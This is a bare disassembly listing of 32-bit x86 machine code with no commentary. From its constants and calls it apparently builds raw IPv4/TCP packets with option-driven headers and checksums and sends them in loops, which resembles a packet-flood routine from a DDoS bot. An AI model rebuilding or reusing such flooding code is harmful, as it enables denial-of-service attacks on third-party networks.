8048e9f: c6 43 2d 02 movb $0x2,0x2d(%ebx) | |
8048ea3: 66 c1 c8 08 ror $0x8,%ax | |
8048ea7: c6 43 2e 08 movb $0x8,0x2e(%ebx) | |
8048eab: 66 89 43 2a mov %ax,0x2a(%ebx) | |
8048eaf: c6 43 2f 0a movb $0xa,0x2f(%ebx) | |
8048eb3: e8 98 24 00 00 call 0x804b350 | |
8048eb8: c7 43 34 00 00 00 00 movl $0x0,0x34(%ebx) | |
8048ebf: 89 43 30 mov %eax,0x30(%ebx) | |
8048ec2: c6 43 38 01 movb $0x1,0x38(%ebx) | |
8048ec6: c6 43 39 03 movb $0x3,0x39(%ebx) | |
8048eca: c6 43 3a 03 movb $0x3,0x3a(%ebx) | |
8048ece: c6 43 3b 06 movb $0x6,0x3b(%ebx) | |
8048ed2: 8b 5c 24 48 mov 0x48(%esp),%ebx | |
8048ed6: 43 inc %ebx | |
8048ed7: 89 5c 24 48 mov %ebx,0x48(%esp) | |
8048edb: 83 c4 10 add $0x10,%esp | |
8048ede: 39 dd cmp %ebx,%ebp | |
8048ee0: 0f 8f ec fe ff ff jg 0x8048dd2 | |
8048ee6: 85 ed test %ebp,%ebp | |
8048ee8: 7e fe jle 0x8048ee8 | |
8048eea: c7 44 24 38 00 00 00 movl $0x0,0x38(%esp) | |
8048ef1: 00 | |
8048ef2: 31 c0 xor %eax,%eax | |
8048ef4: 8b 54 24 08 mov 0x8(%esp),%edx | |
8048ef8: 8b 4c 24 54 mov 0x54(%esp),%ecx | |
8048efc: 8b 34 82 mov (%edx,%eax,4),%esi | |
8048eff: 8d 04 40 lea (%eax,%eax,2),%eax | |
8048f02: 8d 04 c1 lea (%ecx,%eax,8),%eax | |
8048f05: 8d 7e 14 lea 0x14(%esi),%edi | |
8048f08: 80 78 14 1f cmpb $0x1f,0x14(%eax) | |
8048f0c: 0f 86 a7 00 00 00 jbe 0x8048fb9 | |
8048f12: 83 7c 24 28 ff cmpl $0xffffffff,0x28(%esp) | |
8048f17: 0f 84 e1 00 00 00 je 0x8048ffe | |
8048f1d: 66 83 7c 24 22 ff cmpw $0xffff,0x22(%esp) | |
8048f23: 0f 84 e9 00 00 00 je 0x8049012 | |
8048f29: 66 83 7c 24 24 ff cmpw $0xffff,0x24(%esp) | |
8048f2f: 0f 84 f2 00 00 00 je 0x8049027 | |
8048f35: 66 83 7c 24 26 ff cmpw $0xffff,0x26(%esp) | |
8048f3b: 0f 84 fb 00 00 00 je 0x804903c | |
8048f41: 66 c7 46 0a 00 00 movw $0x0,0xa(%esi) | |
8048f47: 53 push %ebx | |
8048f48: 53 push %ebx | |
8048f49: 6a 14 push $0x14 | |
8048f4b: 56 push %esi | |
8048f4c: e8 df 0b 00 00 call 0x8049b30 | |
8048f51: 66 89 46 0a mov %ax,0xa(%esi) | |
8048f55: 66 c7 47 10 00 00 movw $0x0,0x10(%edi) | |
8048f5b: 6a 28 push $0x28 | |
8048f5d: 68 00 28 00 00 push $0x2800 | |
8048f62: 57 push %edi | |
8048f63: 56 push %esi | |
8048f64: e8 17 0c 00 00 call 0x8049b80 | |
8048f69: 8b 4c 24 74 mov 0x74(%esp),%ecx | |
8048f6d: 66 89 47 10 mov %ax,0x10(%edi) | |
8048f71: 8b 44 24 58 mov 0x58(%esp),%eax | |
8048f75: 66 8b 57 02 mov 0x2(%edi),%dx | |
8048f79: 83 c4 18 add $0x18,%esp | |
8048f7c: 8d 04 40 lea (%eax,%eax,2),%eax | |
8048f7f: c1 e0 03 shl $0x3,%eax | |
8048f82: 66 89 54 08 02 mov %dx,0x2(%eax,%ecx,1) | |
8048f87: 01 c8 add %ecx,%eax | |
8048f89: 6a 10 push $0x10 | |
8048f8b: 50 push %eax | |
8048f8c: 68 00 40 00 00 push $0x4000 | |
8048f91: 6a 3c push $0x3c | |
8048f93: 56 push %esi | |
8048f94: 8b 4c 24 38 mov 0x38(%esp),%ecx | |
8048f98: 51 push %ecx | |
8048f99: e8 03 38 00 00 call 0x804c7a1 | |
8048f9e: 8b 44 24 58 mov 0x58(%esp),%eax | |
8048fa2: 40 inc %eax | |
8048fa3: 89 44 24 58 mov %eax,0x58(%esp) | |
8048fa7: 83 c4 20 add $0x20,%esp | |
8048faa: 39 e8 cmp %ebp,%eax | |
8048fac: 0f 8c 42 ff ff ff jl 0x8048ef4 | |
8048fb2: 85 ed test %ebp,%ebp | |
8048fb4: e9 2f ff ff ff jmp 0x8048ee8 | |
8048fb9: 8b 58 10 mov 0x10(%eax),%ebx | |
8048fbc: e8 8f 23 00 00 call 0x804b350 | |
8048fc1: 66 c1 cb 08 ror $0x8,%bx | |
8048fc5: c1 cb 10 ror $0x10,%ebx | |
8048fc8: 66 c1 cb 08 ror $0x8,%bx | |
8048fcc: 8b 54 24 38 mov 0x38(%esp),%edx | |
8048fd0: 8d 0c 52 lea (%edx,%edx,2),%ecx | |
8048fd3: 8b 54 24 54 mov 0x54(%esp),%edx | |
8048fd7: 8a 4c ca 14 mov 0x14(%edx,%ecx,8),%cl | |
8048fdb: 81 e1 ff 00 00 00 and $0xff,%ecx | |
8048fe1: d3 e8 shr %cl,%eax | |
8048fe3: 01 d8 add %ebx,%eax | |
8048fe5: 66 c1 c8 08 ror $0x8,%ax | |
8048fe9: c1 c8 10 ror $0x10,%eax | |
8048fec: 66 c1 c8 08 ror $0x8,%ax | |
8048ff0: 83 7c 24 28 ff cmpl $0xffffffff,0x28(%esp) | |
8048ff5: 89 46 10 mov %eax,0x10(%esi) | |
8048ff8: 0f 85 1f ff ff ff jne 0x8048f1d | |
8048ffe: e8 4d 23 00 00 call 0x804b350 | |
8049003: 66 83 7c 24 22 ff cmpw $0xffff,0x22(%esp) | |
8049009: 89 46 0c mov %eax,0xc(%esi) | |
804900c: 0f 85 17 ff ff ff jne 0x8048f29 | |
8049012: e8 39 23 00 00 call 0x804b350 | |
8049017: 66 83 7c 24 24 ff cmpw $0xffff,0x24(%esp) | |
804901d: 66 89 46 04 mov %ax,0x4(%esi) | |
8049021: 0f 85 0e ff ff ff jne 0x8048f35 | |
8049027: e8 24 23 00 00 call 0x804b350 | |
804902c: 66 83 7c 24 26 ff cmpw $0xffff,0x26(%esp) | |
8049032: 66 89 46 14 mov %ax,0x14(%esi) | |
8049036: 0f 85 05 ff ff ff jne 0x8048f41 | |
804903c: e8 0f 23 00 00 call 0x804b350 | |
8049041: 66 89 47 02 mov %ax,0x2(%edi) | |
8049045: e9 f7 fe ff ff jmp 0x8048f41 | |
804904a: 83 ec 0c sub $0xc,%esp | |
804904d: 8b 44 24 28 mov 0x28(%esp),%eax | |
8049051: 50 push %eax | |
8049052: e8 7c 30 00 00 call 0x804c0d3 | |
8049057: 83 c4 10 add $0x10,%esp | |
804905a: 83 c4 3c add $0x3c,%esp | |
804905d: 5b pop %ebx | |
804905e: 5e pop %esi | |
804905f: 5f pop %edi | |
8049060: 5d pop %ebp | |
8049061: c3 ret | |
8049062: 90 nop | |
8049063: 90 nop | |
8049064: 90 nop | |
8049065: 90 nop | |
8049066: 90 nop | |
8049067: 90 nop | |
8049068: 90 nop | |
8049069: 90 nop | |
804906a: 90 nop | |
804906b: 90 nop | |
804906c: 90 nop | |
804906d: 90 nop | |
804906e: 90 nop | |
804906f: 90 nop | |
8049070: 55 push %ebp | |
8049071: 57 push %edi | |
8049072: 56 push %esi | |
8049073: 53 push %ebx | |
8049074: 83 ec 74 sub $0x74,%esp | |
8049077: 31 c0 xor %eax,%eax | |
8049079: 8b bc 24 94 00 00 00 mov 0x94(%esp),%edi | |
8049080: 0f b6 b4 24 90 00 00 movzbl 0x90(%esp),%esi | |
8049087: 00 | |
8049088: 6a 04 push $0x4 | |
804908a: 81 e6 ff 00 00 00 and $0xff,%esi | |
8049090: 8a 84 24 8c 00 00 00 mov 0x8c(%esp),%al | |
8049097: 89 44 24 10 mov %eax,0x10(%esp) | |
804909b: 50 push %eax | |
804909c: e8 43 3f 00 00 call 0x804cfe4 | |
80490a1: 89 44 24 18 mov %eax,0x18(%esp) | |
80490a5: 6a 00 push $0x0 | |
80490a7: 6a 02 push $0x2 | |
80490a9: 57 push %edi | |
80490aa: 56 push %esi | |
80490ab: e8 90 f4 ff ff call 0x8048540 | |
80490b0: 88 44 24 59 mov %al,0x59(%esp) | |
80490b4: 83 c4 20 add $0x20,%esp | |
80490b7: 68 ff ff 00 00 push $0xffff | |
80490bc: 6a 03 push $0x3 | |
80490be: 57 push %edi | |
80490bf: 56 push %esi | |
80490c0: e8 7b f4 ff ff call 0x8048540 | |
80490c5: 89 44 24 1c mov %eax,0x1c(%esp) | |
80490c9: 6a 40 push $0x40 | |
80490cb: 6a 04 push $0x4 | |
80490cd: 57 push %edi | |
80490ce: 56 push %esi | |
80490cf: e8 6c f4 ff ff call 0x8048540 | |
80490d4: 88 44 24 5c mov %al,0x5c(%esp) | |
80490d8: 83 c4 20 add $0x20,%esp | |
80490db: 6a 00 push $0x0 | |
80490dd: 6a 05 push $0x5 | |
80490df: 57 push %edi | |
80490e0: 56 push %esi | |
80490e1: e8 5a f4 ff ff call 0x8048540 | |
80490e6: 88 44 24 4d mov %al,0x4d(%esp) | |
80490ea: 68 ff ff 00 00 push $0xffff | |
80490ef: 6a 06 push $0x6 | |
80490f1: 57 push %edi | |
80490f2: 56 push %esi | |
80490f3: e8 48 f4 ff ff call 0x8048540 | |
80490f8: 89 44 24 30 mov %eax,0x30(%esp) | |
80490fc: 83 c4 20 add $0x20,%esp | |
80490ff: 68 ff ff 00 00 push $0xffff | |
8049104: 6a 07 push $0x7 | |
8049106: 57 push %edi | |
8049107: 56 push %esi | |
8049108: e8 33 f4 ff ff call 0x8048540 | |
804910d: 89 44 24 24 mov %eax,0x24(%esp) | |
8049111: 68 ff ff 00 00 push $0xffff | |
8049116: 6a 11 push $0x11 | |
8049118: 57 push %edi | |
8049119: 56 push %esi | |
804911a: e8 21 f4 ff ff call 0x8048540 | |
804911f: 89 44 24 38 mov %eax,0x38(%esp) | |
8049123: 83 c4 20 add $0x20,%esp | |
8049126: 68 ff ff 00 00 push $0xffff | |
804912b: 6a 12 push $0x12 | |
804912d: 57 push %edi | |
804912e: 56 push %esi | |
804912f: e8 0c f4 ff ff call 0x8048540 | |
8049134: 89 44 24 2c mov %eax,0x2c(%esp) | |
8049138: 6a 00 push $0x0 | |
804913a: 6a 0b push $0xb | |
804913c: 57 push %edi | |
804913d: 56 push %esi | |
804913e: e8 fd f3 ff ff call 0x8048540 | |
8049143: 89 44 24 40 mov %eax,0x40(%esp) | |
8049147: 83 c4 20 add $0x20,%esp | |
804914a: 6a 01 push $0x1 | |
804914c: 6a 0c push $0xc | |
804914e: 57 push %edi | |
804914f: 56 push %esi | |
8049150: e8 eb f3 ff ff call 0x8048540 | |
8049155: 89 44 24 34 mov %eax,0x34(%esp) | |
8049159: 6a 00 push $0x0 | |
804915b: 6a 0d push $0xd | |
804915d: 57 push %edi | |
804915e: 56 push %esi | |
804915f: e8 dc f3 ff ff call 0x8048540 | |
8049164: 89 44 24 48 mov %eax,0x48(%esp) | |
8049168: 83 c4 20 add $0x20,%esp | |
804916b: 6a 00 push $0x0 | |
804916d: 6a 0e push $0xe | |
804916f: 57 push %edi | |
8049170: 56 push %esi | |
8049171: e8 ca f3 ff ff call 0x8048540 | |
8049176: 89 44 24 3c mov %eax,0x3c(%esp) | |
804917a: 6a 00 push $0x0 | |
804917c: 6a 0f push $0xf | |
804917e: 57 push %edi | |
804917f: 56 push %esi | |
8049180: e8 bb f3 ff ff call 0x8048540 | |
8049185: 89 44 24 50 mov %eax,0x50(%esp) | |
8049189: 83 c4 20 add $0x20,%esp | |
804918c: 6a 00 push $0x0 | |
804918e: 6a 10 push $0x10 | |
8049190: 57 push %edi | |
8049191: 56 push %esi | |
8049192: e8 a9 f3 ff ff call 0x8048540 | |
8049197: 68 00 02 00 00 push $0x200 | |
804919c: 89 c5 mov %eax,%ebp | |
804919e: 6a 00 push $0x0 | |
80491a0: 57 push %edi | |
80491a1: 56 push %esi | |
80491a2: e8 99 f3 ff ff call 0x8048540 | |
80491a7: 89 44 24 64 mov %eax,0x64(%esp) | |
80491ab: 83 c4 20 add $0x20,%esp | |
80491ae: 6a 01 push $0x1 | |
80491b0: 6a 01 push $0x1 | |
80491b2: 57 push %edi | |
80491b3: 56 push %esi | |
80491b4: e8 87 f3 ff ff call 0x8048540 | |
80491b9: 88 44 24 5b mov %al,0x5b(%esp) | |
80491bd: a1 08 f1 04 08 mov 0x804f108,%eax | |
80491c2: 50 push %eax | |
80491c3: 6a 19 push $0x19 | |
80491c5: 57 push %edi | |
80491c6: 56 push %esi | |
80491c7: e8 14 f3 ff ff call 0x80484e0 | |
80491cc: 89 44 24 6c mov %eax,0x6c(%esp) | |
80491d0: 83 c4 1c add $0x1c,%esp | |
80491d3: 6a 06 push $0x6 | |
80491d5: 6a 03 push $0x3 | |
80491d7: 6a 02 push $0x2 | |
80491d9: e8 41 36 00 00 call 0x804c81f | |
80491de: 89 44 24 44 mov %eax,0x44(%esp) | |
80491e2: 83 c4 10 add $0x10,%esp | |
80491e5: 40 inc %eax | |
80491e6: 0f 84 16 04 00 00 je 0x8049602 | |
80491ec: c7 44 24 68 01 00 00 movl $0x1,0x68(%esp) | |
80491f3: 00 | |
80491f4: 83 ec 0c sub $0xc,%esp | |
80491f7: 6a 04 push $0x4 | |
80491f9: 8d 44 24 78 lea 0x78(%esp),%eax | |
80491fd: 50 push %eax | |
80491fe: 6a 03 push $0x3 | |
8049200: 6a 00 push $0x0 | |
8049202: 8b 44 24 50 mov 0x50(%esp),%eax | |
8049206: 50 push %eax | |
8049207: e8 d8 35 00 00 call 0x804c7e4 | |
804920c: 83 c4 20 add $0x20,%esp | |
804920f: 40 inc %eax | |
8049210: 0f 84 dc 03 00 00 je 0x80495f2 | |
8049216: 8b 44 24 14 mov 0x14(%esp),%eax | |
804921a: 8b 54 24 0c mov 0xc(%esp),%edx | |
804921e: 8b 4c 24 10 mov 0x10(%esp),%ecx | |
8049222: 66 89 44 24 40 mov %ax,0x40(%esp) | |
8049227: 8b 44 24 04 mov 0x4(%esp),%eax | |
804922b: 66 89 54 24 3a mov %dx,0x3a(%esp) | |
8049230: 66 89 4c 24 3e mov %cx,0x3e(%esp) | |
8049235: c7 44 24 68 00 00 00 movl $0x0,0x68(%esp) | |
804923c: 00 | |
804923d: 85 c0 test %eax,%eax | |
804923f: 0f 8e a1 02 00 00 jle 0x80494e6 | |
8049245: 8a 54 24 28 mov 0x28(%esp),%dl | |
8049249: 8b 4c 24 44 mov 0x44(%esp),%ecx | |
804924d: 83 c1 28 add $0x28,%ecx | |
8049250: 88 54 24 43 mov %dl,0x43(%esp) | |
8049254: 83 e2 01 and $0x1,%edx | |
8049257: 66 89 4c 24 54 mov %cx,0x54(%esp) | |
804925c: 88 54 24 58 mov %dl,0x58(%esp) | |
8049260: 8a 4c 24 30 mov 0x30(%esp),%cl | |
8049264: 8a 54 24 2c mov 0x2c(%esp),%dl | |
8049268: 83 e1 01 and $0x1,%ecx | |
804926b: 83 e2 01 and $0x1,%edx | |
804926e: 8b 44 24 18 mov 0x18(%esp),%eax | |
8049272: 88 54 24 59 mov %dl,0x59(%esp) | |
8049276: 88 4c 24 5a mov %cl,0x5a(%esp) | |
804927a: 8a 54 24 20 mov 0x20(%esp),%dl | |
804927e: 8a 4c 24 24 mov 0x24(%esp),%cl | |
8049282: 66 89 44 24 56 mov %ax,0x56(%esp) | |
8049287: 83 e2 01 and $0x1,%edx | |
804928a: 89 e8 mov %ebp,%eax | |
804928c: 83 e1 01 and $0x1,%ecx | |
804928f: 83 e0 01 and $0x1,%eax | |
8049292: 89 d7 mov %edx,%edi | |
8049294: 89 cd mov %ecx,%ebp | |
8049296: 88 44 24 5b mov %al,0x5b(%esp) | |
804929a: c1 e7 05 shl $0x5,%edi | |
804929d: 31 db xor %ebx,%ebx | |
804929f: c1 e5 04 shl $0x4,%ebp | |
80492a2: 50 push %eax | |
80492a3: 50 push %eax | |
80492a4: 6a 01 push $0x1 | |
80492a6: 68 e6 05 00 00 push $0x5e6 | |
80492ab: e8 34 3d 00 00 call 0x804cfe4 | |
80492b0: 8b 54 24 18 mov 0x18(%esp),%edx | |
80492b4: 89 04 9a mov %eax,(%edx,%ebx,4) | |
80492b7: 8b 44 24 78 mov 0x78(%esp),%eax | |
80492bb: 8b 1c 82 mov (%edx,%eax,4),%ebx | |
80492be: c6 03 45 movb $0x45,(%ebx) | |
80492c1: 8d 73 14 lea 0x14(%ebx),%esi | |
80492c4: 8a 4c 24 49 mov 0x49(%esp),%cl | |
80492c8: 88 4b 01 mov %cl,0x1(%ebx) | |
80492cb: 8b 44 24 64 mov 0x64(%esp),%eax | |
80492cf: 66 c1 c8 08 ror $0x8,%ax | |
80492d3: 66 89 43 02 mov %ax,0x2(%ebx) | |
80492d7: 66 8b 44 24 4a mov 0x4a(%esp),%ax | |
80492dc: 66 c1 c8 08 ror $0x8,%ax | |
80492e0: 66 89 43 04 mov %ax,0x4(%ebx) | |
80492e4: 8a 44 24 4c mov 0x4c(%esp),%al | |
80492e8: 83 c4 10 add $0x10,%esp | |
80492eb: 88 43 08 mov %al,0x8(%ebx) | |
80492ee: 80 7c 24 3d 00 cmpb $0x0,0x3d(%esp) | |
80492f3: 74 06 je 0x80492fb | |
80492f5: 66 c7 43 06 40 00 movw $0x40,0x6(%ebx) | |
80492fb: c6 43 09 06 movb $0x6,0x9(%ebx) | |
80492ff: 8b 54 24 4c mov 0x4c(%esp),%edx | |
8049303: 8b 8c 24 84 00 00 00 mov 0x84(%esp),%ecx | |
804930a: 89 53 0c mov %edx,0xc(%ebx) | |
804930d: 8b 44 24 68 mov 0x68(%esp),%eax | |
8049311: 8d 04 40 lea (%eax,%eax,2),%eax | |
8049314: 8b 44 c1 10 mov 0x10(%ecx,%eax,8),%eax | |
8049318: 89 43 10 mov %eax,0x10(%ebx) | |
804931b: 66 8b 44 24 3e mov 0x3e(%esp),%ax | |
8049320: 66 c1 c8 08 ror $0x8,%ax | |
8049324: 66 89 43 14 mov %ax,0x14(%ebx) | |
8049328: 8b 44 24 40 mov 0x40(%esp),%eax | |
804932c: 66 c1 c8 08 ror $0x8,%ax | |
8049330: 66 89 46 02 mov %ax,0x2(%esi) | |
8049334: 66 8b 44 24 56 mov 0x56(%esp),%ax | |
8049339: 66 c1 c8 08 ror $0x8,%ax | |
804933d: 25 ff ff 00 00 and $0xffff,%eax | |
8049342: 89 46 04 mov %eax,0x4(%esi) | |
8049345: 8a 46 0c mov 0xc(%esi),%al | |
8049348: 83 e0 0f and $0xf,%eax | |
804934b: 83 c8 50 or $0x50,%eax | |
804934e: 88 46 0c mov %al,0xc(%esi) | |
8049351: 8a 46 0d mov 0xd(%esi),%al | |
8049354: 83 e0 cf and $0xffffffcf,%eax | |
8049357: 8a 4c 24 58 mov 0x58(%esp),%cl | |
804935b: 09 f8 or %edi,%eax | |
804935d: 8a 54 24 59 mov 0x59(%esp),%dl | |
8049361: c1 e1 03 shl $0x3,%ecx | |
8049364: 09 e8 or %ebp,%eax | |
8049366: c1 e2 02 shl $0x2,%edx | |
8049369: 83 e0 f3 and $0xfffffff3,%eax | |
804936c: 09 c8 or %ecx,%eax | |
804936e: 09 d0 or %edx,%eax | |
8049370: 8a 54 24 5a mov 0x5a(%esp),%dl | |
8049374: 01 d2 add %edx,%edx | |
8049376: 83 e0 fc and $0xfffffffc,%eax | |
8049379: 09 d0 or %edx,%eax | |
804937b: 0a 44 24 5b or 0x5b(%esp),%al | |
804937f: 88 46 0d mov %al,0xd(%esi) | |
8049382: e8 c9 1f 00 00 call 0x804b350 | |
8049387: 80 7c 24 43 00 cmpb $0x0,0x43(%esp) | |
804938c: 66 89 46 0e mov %ax,0xe(%esi) | |
8049390: 74 04 je 0x8049396 | |
8049392: 80 4e 0d 08 orb $0x8,0xd(%esi) | |
8049396: 50 push %eax | |
8049397: 50 push %eax | |
8049398: 8b 74 24 4c mov 0x4c(%esp),%esi | |
804939c: 8d 43 28 lea 0x28(%ebx),%eax | |
804939f: 56 push %esi | |
80493a0: 50 push %eax | |
80493a1: e8 ea 20 00 00 call 0x804b490 | |
80493a6: 8b 5c 24 78 mov 0x78(%esp),%ebx | |
80493aa: 43 inc %ebx | |
80493ab: 89 5c 24 78 mov %ebx,0x78(%esp) | |
80493af: 83 c4 10 add $0x10,%esp | |
80493b2: 3b 5c 24 04 cmp 0x4(%esp),%ebx | |
80493b6: 0f 8c e6 fe ff ff jl 0x80492a2 | |
80493bc: 8b 44 24 44 mov 0x44(%esp),%eax | |
80493c0: 8b 54 24 44 mov 0x44(%esp),%edx | |
80493c4: 83 c0 14 add $0x14,%eax | |
80493c7: 8b 4c 24 04 mov 0x4(%esp),%ecx | |
80493cb: 89 04 24 mov %eax,(%esp) | |
80493ce: 8d 5a 28 lea 0x28(%edx),%ebx | |
80493d1: 85 c9 test %ecx,%ecx | |
80493d3: 7e fe jle 0x80493d3 | |
80493d5: 8b 6c 24 44 mov 0x44(%esp),%ebp | |
80493d9: c7 44 24 68 00 00 00 movl $0x0,0x68(%esp) | |
80493e0: 00 | |
80493e1: 83 c5 14 add $0x14,%ebp | |
80493e4: 31 c0 xor %eax,%eax | |
80493e6: 8b 54 24 08 mov 0x8(%esp),%edx | |
80493ea: 8b 8c 24 84 00 00 00 mov 0x84(%esp),%ecx | |
80493f1: 8b 34 82 mov (%edx,%eax,4),%esi | |
80493f4: 8d 04 40 lea (%eax,%eax,2),%eax | |
80493f7: 8d 04 c1 lea (%ecx,%eax,8),%eax | |
80493fa: 8d 7e 14 lea 0x14(%esi),%edi | |
80493fd: 80 78 14 1f cmpb $0x1f,0x14(%eax) | |
8049401: 0f 86 01 01 00 00 jbe 0x8049508 | |
8049407: 83 7c 24 4c ff cmpl $0xffffffff,0x4c(%esp) | |
804940c: 0f 84 4a 01 00 00 je 0x804955c | |
8049412: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp) | |
8049418: 0f 84 52 01 00 00 je 0x8049570 | |
804941e: 66 83 7c 24 3e ff cmpw $0xffff,0x3e(%esp) | |
8049424: 0f 84 5b 01 00 00 je 0x8049585 | |
804942a: 66 83 7c 24 40 ff cmpw $0xffff,0x40(%esp) | |
8049430: 0f 84 64 01 00 00 je 0x804959a | |
8049436: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp) | |
804943d: 00 | |
804943e: 0f 84 6d 01 00 00 je 0x80495b1 | |
8049444: 81 7c 24 1c ff ff 00 cmpl $0xffff,0x1c(%esp) | |
804944b: 00 | |
804944c: 0f 84 75 01 00 00 je 0x80495c7 | |
8049452: 80 7c 24 4b 00 cmpb $0x0,0x4b(%esp) | |
8049457: 0f 85 7d 01 00 00 jne 0x80495da | |
804945d: 66 c7 46 0a 00 00 movw $0x0,0xa(%esi) | |
8049463: 51 push %ecx | |
8049464: 51 push %ecx | |
8049465: 6a 14 push $0x14 | |
8049467: 56 push %esi | |
8049468: e8 c3 06 00 00 call 0x8049b30 | |
804946d: 8b 54 24 10 mov 0x10(%esp),%edx | |
8049471: 66 89 46 0a mov %ax,0xa(%esi) | |
8049475: 66 c7 47 10 00 00 movw $0x0,0x10(%edi) | |
804947b: 89 e8 mov %ebp,%eax | |
804947d: 66 c1 c8 08 ror $0x8,%ax | |
8049481: 25 ff ff 00 00 and $0xffff,%eax | |
8049486: 52 push %edx | |
8049487: 50 push %eax | |
8049488: 57 push %edi | |
8049489: 56 push %esi | |
804948a: e8 f1 06 00 00 call 0x8049b80 | |
804948f: 66 89 47 10 mov %ax,0x10(%edi) | |
8049493: 8b 84 24 88 00 00 00 mov 0x88(%esp),%eax | |
804949a: 8b 8c 24 a4 00 00 00 mov 0xa4(%esp),%ecx | |
80494a1: 66 8b 57 02 mov 0x2(%edi),%dx | |
80494a5: 8d 04 40 lea (%eax,%eax,2),%eax | |
80494a8: 83 c4 18 add $0x18,%esp | |
80494ab: c1 e0 03 shl $0x3,%eax | |
80494ae: 66 89 54 08 02 mov %dx,0x2(%eax,%ecx,1) | |
80494b3: 01 c8 add %ecx,%eax | |
80494b5: 6a 10 push $0x10 | |
80494b7: 50 push %eax | |
80494b8: 68 00 40 00 00 push $0x4000 | |
80494bd: 53 push %ebx | |
80494be: 56 push %esi | |
80494bf: 8b 44 24 50 mov 0x50(%esp),%eax | |
80494c3: 50 push %eax | |
80494c4: e8 d8 32 00 00 call 0x804c7a1 | |
80494c9: 8b 84 24 88 00 00 00 mov 0x88(%esp),%eax | |
80494d0: 40 inc %eax | |
80494d1: 89 84 24 88 00 00 00 mov %eax,0x88(%esp) | |
80494d8: 83 c4 20 add $0x20,%esp | |
80494db: 3b 44 24 04 cmp 0x4(%esp),%eax | |
80494df: 7d 16 jge 0x80494f7 | |
80494e1: e9 00 ff ff ff jmp 0x80493e6 | |
80494e6: 8b 4c 24 44 mov 0x44(%esp),%ecx | |
80494ea: 8b 44 24 44 mov 0x44(%esp),%eax | |
80494ee: 83 c1 14 add $0x14,%ecx | |
80494f1: 89 0c 24 mov %ecx,(%esp) | |
80494f4: 8d 58 28 lea 0x28(%eax),%ebx | |
80494f7: 8b 4c 24 04 mov 0x4(%esp),%ecx | |
80494fb: 85 c9 test %ecx,%ecx | |
80494fd: 0f 8e d0 fe ff ff jle 0x80493d3 | |
8049503: e9 cd fe ff ff jmp 0x80493d5 | |
8049508: 8b 40 10 mov 0x10(%eax),%eax | |
804950b: 89 44 24 50 mov %eax,0x50(%esp) | |
804950f: 66 c1 c8 08 ror $0x8,%ax | |
8049513: c1 c8 10 ror $0x10,%eax | |
8049516: 66 c1 c8 08 ror $0x8,%ax | |
804951a: 89 44 24 50 mov %eax,0x50(%esp) | |
804951e: e8 2d 1e 00 00 call 0x804b350 | |
8049523: 8b 54 24 68 mov 0x68(%esp),%edx | |
8049527: 8d 0c 52 lea (%edx,%edx,2),%ecx | |
804952a: 8b 94 24 84 00 00 00 mov 0x84(%esp),%edx | |
8049531: 8a 4c ca 14 mov 0x14(%edx,%ecx,8),%cl | |
8049535: 8b 54 24 50 mov 0x50(%esp),%edx | |
8049539: 81 e1 ff 00 00 00 and $0xff,%ecx | |
804953f: d3 e8 shr %cl,%eax | |
8049541: 01 d0 add %edx,%eax | |
8049543: 66 c1 c8 08 ror $0x8,%ax | |
8049547: c1 c8 10 ror $0x10,%eax | |
804954a: 66 c1 c8 08 ror $0x8,%ax | |
804954e: 83 7c 24 4c ff cmpl $0xffffffff,0x4c(%esp) | |
8049553: 89 46 10 mov %eax,0x10(%esi) | |
8049556: 0f 85 b6 fe ff ff jne 0x8049412 | |
804955c: e8 ef 1d 00 00 call 0x804b350 | |
8049561: 66 83 7c 24 3a ff cmpw $0xffff,0x3a(%esp) | |
8049567: 89 46 0c mov %eax,0xc(%esi) | |
804956a: 0f 85 ae fe ff ff jne 0x804941e | |
8049570: e8 db 1d 00 00 call 0x804b350 | |
8049575: 66 83 7c 24 3e ff cmpw $0xffff,0x3e(%esp) | |
804957b: 66 89 46 04 mov %ax,0x4(%esi) | |
804957f: 0f 85 a5 fe ff ff jne 0x804942a | |
8049585: e8 c6 1d 00 00 call 0x804b350 | |
804958a: 66 83 7c 24 40 ff cmpw $0xffff,0x40(%esp) | |
8049590: 66 89 46 14 mov %ax,0x14(%esi) | |
8049594: 0f 85 9c fe ff ff jne 0x8049436 | |
804959a: e8 b1 1d 00 00 call 0x804b350 | |
804959f: 81 7c 24 18 ff ff 00 cmpl $0xffff,0x18(%esp) | |
80495a6: 00 | |
80495a7: 66 89 47 02 mov %ax,0x2(%edi) | |
80495ab: 0f 85 93 fe ff ff jne 0x8049444 | |
80495b1: e8 9a 1d 00 00 call 0x804b350 | |
80495b6: 81 7c 24 1c ff ff 00 cmpl $0xffff,0x1c(%esp) | |
80495bd: 00 | |
80495be: 89 47 04 mov %eax,0x4(%edi) | |
80495c1: 0f 85 8b fe ff ff jne 0x8049452 | |
80495c7: e8 84 1d 00 00 call 0x804b350 | |
80495cc: 80 7c 24 4b 00 cmpb $0x0,0x4b(%esp) | |
80495d1: 89 47 08 mov %eax,0x8(%edi) | |
80495d4: 0f 84 83 fe ff ff je 0x804945d | |
80495da: 50 push %eax | |
80495db: 50 push %eax | |
80495dc: 8b 44 24 4c mov 0x4c(%esp),%eax | |
80495e0: 50 push %eax | |
80495e1: 8d 46 28 lea 0x28(%esi),%eax | |
80495e4: 50 push %eax | |
80495e5: e8 a6 1e 00 00 call 0x804b490 | |
80495ea: 83 c4 10 add $0x10,%esp | |
80495ed: e9 6b fe ff ff jmp 0x804945d | |
80495f2: 83 ec 0c sub $0xc,%esp | |
80495f5: 8b 44 24 40 mov 0x40(%esp),%eax | |
80495f9: 50 push %eax | |
80495fa: e8 d4 2a 00 00 call 0x804c0d3 | |
80495ff: 83 c4 10 add $0x10,%esp | |
8049602: 83 c4 6c add $0x6c,%esp | |
8049605: 5b pop %ebx | |
8049606: 5e pop %esi | |
8049607: 5f pop %edi | |
8049608: 5d pop %ebp | |
8049609: c3 ret | |
804960a: 90 nop | |
804960b: 90 nop | |
804960c: 90 nop | |
804960d: 90 nop | |
804960e: 90 nop | |
804960f: 90 nop | |
8049610: 55 push %ebp | |
8049611: 57 push %edi | |
8049612: 56 push %esi | |
8049613: 53 push %ebx | |
8049614: 83 ec 64 sub $0x64,%esp | |
8049617: 8b 9c 24 84 00 00 00 mov 0x84(%esp),%ebx | |
804961e: 0f b6 b4 24 80 00 00 movzbl 0x80(%esp),%esi | |
8049625: 00 | |
8049626: 6a 04 push $0x4 | |
8049628: 81 e6 ff 00 00 00 and $0xff,%esi | |
804962e: 8a 44 24 7c mov 0x7c(%esp),%al | |
